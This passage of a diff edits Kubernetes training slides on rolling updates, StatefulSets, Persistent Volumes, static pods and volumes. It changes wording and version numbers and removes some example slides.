         count/roles.rbac.authorization.k8s.io: 10
   ```
 
-(The `count/` syntax allows limiting arbitrary objects, including CRDs.)
+(The `count/` syntax allows to limit arbitrary objects, including CRDs.)
 
 ---
 

slides/k8s/rollout.md

@@ -5,9 +5,9 @@
   - new pods are created
 
   - old pods are terminated
-
+  
   - ... all at the same time
-
+  
   - if something goes wrong, ¯\\\_(ツ)\_/¯
 
 ---
@@ -28,7 +28,7 @@
 
   - there will therefore be up to `maxUnavailable`+`maxSurge` pods being updated
 
-- We have the possibility of rolling back to the previous version
+- We have the possibility to rollback to the previous version
   <br/>(if the update fails or is unsatisfactory in any way)
 
 ---
@@ -49,6 +49,7 @@
 
 ---
 
+
 ## Rolling updates in practice
 
 - As of Kubernetes 1.8, we can do rolling updates with:
@@ -63,15 +64,12 @@
 
 ## Building a new version of the `worker` service
 
-.warning[
-Only run these commands if you have built and pushed DockerCoins to a local registry.
-<br/>
-If you are using images from the Docker Hub (`dockercoins/worker:v0.1`), skip this.
-]
-
 .exercise[
 
-- Go to the `stacks` directory (`~/container.training/stacks`)
+- Go to the `stack` directory:
+  ```bash
+  cd ~/container.training/stacks
+  ```
 
 - Edit `dockercoins/worker/worker.py`; update the first `sleep` line to sleep 1 second
 
@@ -212,7 +210,7 @@ class: extra-details
 
 ## Checking the dashboard during the bad rollout
 
-If you didn't deploy the Kubernetes dashboard earlier, just skip this slide.
+If you haven't deployed the Kubernetes dashboard earlier, just skip this slide.
 
 .exercise[
 
@@ -255,7 +253,7 @@ Note the `3xxxx` port.
 ```
 -->
 
-- Cancel the deployment and wait for the dust to settle:
+- Cancel the deployment and wait for the dust to settle down:
   ```bash
   kubectl rollout undo deploy worker
   kubectl rollout status deploy worker

slides/k8s/statefulsets.md

@@ -34,13 +34,13 @@
 
 - Each pod can discover the IP address of the others easily
 
-- The pods can persist data on attached volumes
+- The pods can have persistent volumes attached to them
 
 🤔 Wait a minute ... Can't we already attach volumes to pods and deployments?
 
 ---
 
-## Revisiting volumes
+## Volumes and Persistent Volumes
 
 - [Volumes](https://kubernetes.io/docs/concepts/storage/volumes/) are used for many purposes:
 
@@ -50,13 +50,13 @@
 
   - accessing storage systems
 
-- Let's see examples of the latter usage
+- The last type of volumes is known as a "Persistent Volume"
 
 ---
 
-## Volumes types
+## Persistent Volumes types
 
-- There are many [types of volumes](https://kubernetes.io/docs/concepts/storage/volumes/#types-of-volumes) available:
+- There are many [types of Persistent Volumes](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#types-of-persistent-volumes) available:
 
   - public cloud storage (GCEPersistentDisk, AWSElasticBlockStore, AzureDisk...)
 
@@ -74,7 +74,7 @@
 
 ---
 
-## Using a cloud volume
+## Using a Persistent Volume
 
 Here is a pod definition using an AWS EBS volume (that has to be created first):
 
@@ -99,32 +99,7 @@ spec:
 
 ---
 
-## Using an NFS volume
-
-Here is another example using a volume on an NFS server:
-
-```yaml
-apiVersion: v1
-kind: Pod
-metadata:
-  name: pod-using-my-nfs-volume
-spec:
-  containers:
-  - image: ...
-    name: container-using-my-nfs-volume
-    volumeMounts:
-    - mountPath: /my-nfs
-      name: my-nfs-volume
-  volumes:
-  - name: my-nfs-volume
-      nfs:
-        server: 192.168.0.55
-        path: "/exports/assets"
-```
-
----
-
-## Shortcomings of volumes
+## Shortcomings of Persistent Volumes
 
 - Their lifecycle (creation, deletion...) is managed outside of the Kubernetes API
 
@@ -150,47 +125,17 @@ spec:
 
 - This type is a *Persistent Volume Claim*
 
-- A Persistent Volume Claim (PVC) is a resource type
-
-  (visible with `kubectl get persistentvolumeclaims` or `kubectl get pvc`)
-
-- A PVC is not a volume; it is a *request for a volume*
-
----
-
-## Persistent Volume Claims in practice
-
 - Using a Persistent Volume Claim is a two-step process:
 
   - creating the claim
 
   - using the claim in a pod (as if it were any other kind of volume)
 
-- A PVC starts by being Unbound (without an associated volume)
+- Between these two steps, something will happen behind the scenes:
 
-- Once it is associated with a Persistent Volume, it becomes Bound
+  - Kubernetes will associate an existing volume with the claim
 
-- A Pod referring an unbound PVC will not start
-
-  (but as soon as the PVC is bound, the Pod can start)
-
----
-
-## Binding PV and PVC
-
-- A Kubernetes controller continuously watches PV and PVC objects
-
-- When it notices an unbound PVC, it tries to find a satisfactory PV
-
-  ("satisfactory" in terms of size and other characteristics; see next slide)
-
-- If no PV fits the PVC, a PV can be created dynamically
-
-  (this requires to configure a *dynamic provisioner*, more on that later)
-
-- Otherwise, the PVC remains unbound indefinitely
-
-  (until we manually create a PV or setup dynamic provisioning)
+  - ... or dynamically create a volume if possible and necessary
 
 ---
 
@@ -202,9 +147,7 @@ spec:
 
   - the access mode (e.g. "read-write by a single pod")
 
-- Optionally, it can also specify a Storage Class
-
-- The Storage Class indicates:
+- It can also give extra details, like:
 
   - which storage system to use (e.g. Portworx, EBS...)
 
@@ -212,6 +155,8 @@ spec:
 
     e.g.: "replicate the data 3 times, and use SSD media"
 
+- The extra details are provided by specifying a Storage Class
+
 ---
 
 ## What's a Storage Class?
@@ -222,15 +167,15 @@ spec:
 
 - It indicates which *provisioner* to use
 
-  (which controller will create the actual volume)
-
 - And arbitrary parameters for that provisioner
 
   (replication levels, type of disk ... anything relevant!)
 
-- Storage Classes are required if we want to use [dynamic provisioning](https://kubernetes.io/docs/concepts/storage/dynamic-provisioning/)
+- It is necessary to define a Storage Class to use [dynamic provisioning](https://kubernetes.io/docs/concepts/storage/dynamic-provisioning/)
 
-  (but we can also create volumes manually, and ignore Storage Classes)
+- Conversely, it is not necessary to define one if you will create volumes manually
+
+  (we will see dynamic provisioning in action later)
 
 ---
 
@@ -255,7 +200,7 @@ spec:
 
 ## Using a Persistent Volume Claim
 
-Here is a Pod definition like the ones shown earlier, but using a PVC:
+Here is the same definition as earlier, but using a PVC:
 
 ```yaml
 apiVersion: v1
@@ -267,7 +212,7 @@ spec:
   - image: ...
     name: container-using-a-claim
     volumeMounts:
-    - mountPath: /my-vol
+    - mountPath: /my-ebs
       name: my-volume
   volumes:
   - name: my-volume

slides/k8s/staticpods.md

@@ -62,7 +62,7 @@
 
 - These "manifests" are basically YAML definitions
 
-  (As produced by `kubectl get pod my-little-pod -o yaml`)
+  (As produced by `kubectl get pod my-little-pod -o yaml --export`)
 
 ---
 
@@ -104,7 +104,7 @@
 
 - We can `kubectl delete` a static pod ...
 
-  ... But the kubelet will re-mirror it immediately
+  ... But the kubelet will restart it immediately
 
 - Static pods can be selected just like other pods
 

slides/k8s/versions-k8s.md

@@ -1,7 +1,7 @@
 ## Versions installed
 
-- Kubernetes 1.14.2
-- Docker Engine 18.09.6
+- Kubernetes 1.14.0
+- Docker Engine 18.09.3
 - Docker Compose 1.21.1
 
 <!-- ##VERSION## -->
@@ -29,7 +29,7 @@ class: extra-details
 
 - Kubernetes 1.13 only validates Docker Engine versions [up to 18.06](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.13.md#external-dependencies)
 
-- Is it a problem if I use Kubernetes with a "too recent" Docker Engine?
+- Is this a problem if I use Kubernetes with a "too recent" Docker Engine?
 
 --
 

slides/k8s/volumes.md

@@ -18,8 +18,6 @@
 
 ---
 
-class: extra-details
-
 ## Kubernetes volumes vs. Docker volumes
 
 - Kubernetes and Docker volumes are very similar
@@ -28,44 +26,22 @@ class: extra-details
   <br/>
   but it refers to Docker 1.7, which was released in 2015!)
 
-- Docker volumes allow us to share data between containers running on the same host
+- Docker volumes allow to share data between containers running on the same host
 
 - Kubernetes volumes allow us to share data between containers in the same pod
 
-- Both Docker and Kubernetes volumes enable access to storage systems
+- Both Docker and Kubernetes volumes allow us access to storage systems
 
 - Kubernetes volumes are also used to expose configuration and secrets
 
 - Docker has specific concepts for configuration and secrets
-  <br/>
+
   (but under the hood, the technical implementation is similar)
 
 - If you're not familiar with Docker volumes, you can safely ignore this slide!
 
 ---
 
-## Volumes ≠ Persistent Volumes
-
-- Volumes and Persistent Volumes are related, but very different!
-
-- *Volumes*:
-
-  - appear in Pod specifications (see next slide)
-
-  - do not exist as API resources (**cannot** do `kubectl get volumes`)
-
-- *Persistent Volumes*:
-
-  - are API resources (**can** do `kubectl get persistentvolumes`)
-
-  - correspond to concrete volumes (e.g. on a SAN, EBS, etc.)
-
-  - cannot be associated with a Pod directly; but through a Persistent Volume Claim
-
-  - won't be discussed further in this section
-
----
-
 ## A simple volume example
 
 ```yaml